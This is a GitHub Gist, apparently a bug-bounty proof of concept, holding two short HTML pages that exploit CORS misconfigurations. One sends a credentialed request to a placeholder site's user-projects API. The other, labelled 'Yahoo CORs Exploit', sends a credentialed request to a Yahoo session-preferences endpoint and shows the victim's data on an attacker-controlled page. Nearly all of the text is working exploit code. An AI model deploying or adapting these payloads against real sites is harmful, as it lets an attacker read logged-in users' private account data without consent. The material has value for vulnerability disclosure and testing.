Last active
January 24, 2018 05:53
-
-
Save nani1337/48b39939a596eaf5b37831ce6a68fefc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<script> | |
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://site.com/api/rest/1.2/users/12056e2fcdfb3a73d9674351f107bf5a/projects?_=1496248656402',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); }; | |
</script> | |
</html> | |
2nd poc | |
<!DOCTYPE html> | |
<html> | |
<head><title>CORS</title></head> | |
<body> | |
<center> | |
<h2>Yahoo CORs Exploit</h2> | |
<textarea rows="10" cols="60" id="pwnz"> | |
</textarea><br> | |
<button type="button" onclick="cors()">Exploit</button> | |
</div> | |
<script> | |
function cors() { | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
document.getElementById("pwnz").innerHTML = this.responseText; | |
} | |
}; | |
xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true); | |
xhttp.withCredentials = true; | |
xhttp.send(); | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment